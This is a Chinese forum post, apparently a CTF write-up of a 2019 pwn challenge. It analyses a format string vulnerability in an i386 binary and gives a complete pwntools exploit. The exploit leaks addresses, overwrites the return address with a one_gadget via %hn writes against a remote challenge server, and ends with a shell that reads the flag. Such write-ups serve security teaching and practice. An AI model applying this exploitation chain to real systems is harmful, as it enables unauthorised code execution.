首页
论坛
专栏
课程

[原创]2019 Q2 第三题 金字塔的诅咒(pwn) 分析

2019-6-23 16:02 435

[原创]2019 Q2 第三题 金字塔的诅咒(pwn) 分析

2019-6-23 16:02
435

0x0 checksec

保护全开

[*] '/home/abc/Desktop/3/format'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

0x1 程序分析

程序一开始,作者就给出了亲切的问候:

puts("Welcome to kanxue 2019, your pwn like cxk");

主函数很简单:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int idx; // eax
  char buf[4]; // [esp+0h] [ebp-10h]
  unsigned int v6; // [esp+4h] [ebp-Ch]
  int *v7; // [esp+8h] [ebp-8h]

  v7 = &argc;
  v6 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to kanxue 2019, your pwn like cxk");
  do
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 4u);
      idx = atoi(buf);
      if ( idx != 1 )
        break;
      printf("What do tou want to say:");
      read_input((int)echo, 24);
      printf(echo);
      puts((const char *)&unk_5655FA97);
    }
  }
  while ( idx != 2 );
  return 0;
}

很明显的格式化字符串漏洞,format string是个全局变量:

.bss:5656100C ; char echo[24]
.bss:5656100C echo            db 18h dup(?)           ; DATA XREF: main+B2↑o

0x2 利用思路

首先栈上有libc和栈地址,先把这两个泄露出来,计算出one_gadget和保存返回地址的栈地址。

 

主要思路:利用%n参数改写main函数返回地址为one_gadget。
然而栈上并没有指向返回地址的值,所以我们要自己构造出来。

 

构造方法:
1.通过调试,找到一个保存在栈上的栈指针,而且这个栈指针指向的值也是一个栈上的地址(因为%n测试时只能写入两个字节的值,写4个字节会失败?)。
2.%n参数修改这个栈指针指向的栈地址的低16位为&ret_addr的低16位,这样,这个栈地址就和&ret_addr一样了。
3.%n参数修改ret_addr低16位为one_gadget低16位
4.%n参数修改这个栈指针指向的栈地址的低16位为&ret_addr+2的低16位
5.%n参数修改ret_addr高16位为one_gadget高16位

 

最后程序返回,执行One_gadget拿到shell

0x3 完整EXP

from pwn import *
import pdb

# context.log_level = 'debug'


one_gadget = 0x5f065
# one_gadget = 0x5fbc5

# p = process('./format')
p = remote('152.136.18.34',9999)

p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil('say:')
payload = '%3$p %5$p %11$p'
p.sendline(payload)

s = p.recvuntil('Choice').split(' ')
s[2] = s[2][:10]
elf_base = int(s[0],16)-0x8f3
ret_addr = int(s[1],16)-0x98
libc_base = int(s[2],16)-0x18637

print hex(elf_base)
print hex(ret_addr)
print hex(libc_base)


p.sendline('1')
p.recvuntil('say:')

payload = r'%.{:d}x%5$hn'.format(ret_addr&0xffff)
# print payload
p.sendline(payload)
p.recvuntil('Choice')
p.sendline('1')

p.recvuntil('say:')

payload = r'%.{:d}x%53$hn'.format((libc_base+one_gadget)&0xffff)
# print payload
p.sendline(payload)
p.recvuntil('Choice')
p.sendline('1')

p.recvuntil('say:')

payload = r'%.{:d}x%5$hn'.format((ret_addr+2)&0xffff)
# print payload
p.sendline(payload)
p.recvuntil('Choice')
p.sendline('1')

p.recvuntil('say:')

# pdb.set_trace()


payload = r'%.{:d}x%53$hn'.format(((libc_base+one_gadget)>>16)&0xffff)
# print payload
p.sendline(payload)
p.recvuntil('Choice')
p.sendline('2')
p.interactive()

# abc@vm:~/Desktop/3$ python exp.py 
# [+] Opening connection to 152.136.18.34 on port 9999: Done
# 0x56572000
# 0xffa4cd8c
# 0xf7d7c000
# [*] Switching to interactive mode
# :$ ls
# bin
# dev
# flag
# format
# lib
# lib32
# lib64
# $ cat flag
# flag{c6671fc0-cea3-42ef-8af0-c20c65f854be}


[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-6-23 16:45 被jackandkx编辑 ,原因:
最新回复 (0)
游客
登录 | 注册 方可回帖
返回